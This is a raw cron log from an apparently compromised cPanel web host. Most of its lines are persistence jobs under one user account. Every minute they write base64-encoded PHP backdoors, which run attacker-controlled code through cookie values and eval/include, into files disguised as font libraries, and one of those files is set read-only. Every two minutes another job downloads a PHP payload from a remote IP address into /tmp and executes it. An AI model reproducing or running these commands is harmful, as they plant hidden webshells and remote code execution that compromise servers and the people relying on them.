Sep  7 01:22:01 ip-184-168-122-23 CROND[24622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:22:01 ip-184-168-122-23 CROND[24626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:23:01 ip-184-168-122-23 CROND[24727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:23:01 ip-184-168-122-23 CROND[24731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:23:01 ip-184-168-122-23 CROND[24729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:23:01 ip-184-168-122-23 CROND[24732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:24:01 ip-184-168-122-23 CROND[24804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:24:01 ip-184-168-122-23 CROND[24806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:24:01 ip-184-168-122-23 CROND[24809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:24:01 ip-184-168-122-23 CROND[24807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:24:01 ip-184-168-122-23 CROND[24810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:25:01 ip-184-168-122-23 CROND[24892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:25:01 ip-184-168-122-23 CROND[24895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:25:01 ip-184-168-122-23 CROND[24896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:25:01 ip-184-168-122-23 CROND[24894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:25:01 ip-184-168-122-23 CROND[24900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:25:01 ip-184-168-122-23 CROND[24901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:26:01 ip-184-168-122-23 CROND[24979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:26:01 ip-184-168-122-23 CROND[24980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:26:01 ip-184-168-122-23 CROND[24981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:26:01 ip-184-168-122-23 CROND[24982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:26:01 ip-184-168-122-23 CROND[24983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:27:01 ip-184-168-122-23 CROND[25167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:27:01 ip-184-168-122-23 CROND[25170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:27:01 ip-184-168-122-23 CROND[25169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:27:01 ip-184-168-122-23 CROND[25171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:28:01 ip-184-168-122-23 CROND[25259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:28:01 ip-184-168-122-23 CROND[25261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:28:01 ip-184-168-122-23 CROND[25263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:28:01 ip-184-168-122-23 CROND[25264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:28:01 ip-184-168-122-23 CROND[25262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:29:01 ip-184-168-122-23 CROND[25342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:29:01 ip-184-168-122-23 CROND[25343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:29:01 ip-184-168-122-23 CROND[25346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:29:01 ip-184-168-122-23 CROND[25347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:30:01 ip-184-168-122-23 CROND[25429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:30:01 ip-184-168-122-23 CROND[25434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25437]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:30:01 ip-184-168-122-23 CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:31:01 ip-184-168-122-23 CROND[25527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:31:01 ip-184-168-122-23 CROND[25529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:31:01 ip-184-168-122-23 CROND[25530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:31:01 ip-184-168-122-23 CROND[25531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:31:01 ip-184-168-122-23 CROND[25532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:32:01 ip-184-168-122-23 CROND[25703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:32:01 ip-184-168-122-23 CROND[25705]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:32:01 ip-184-168-122-23 CROND[25707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:32:01 ip-184-168-122-23 CROND[25706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:32:01 ip-184-168-122-23 CROND[25708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:33:01 ip-184-168-122-23 CROND[25790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:33:01 ip-184-168-122-23 CROND[25792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:33:01 ip-184-168-122-23 CROND[25793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:33:01 ip-184-168-122-23 CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:34:01 ip-184-168-122-23 CROND[25886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:34:01 ip-184-168-122-23 CROND[25887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:34:01 ip-184-168-122-23 CROND[25889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:34:01 ip-184-168-122-23 CROND[25890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
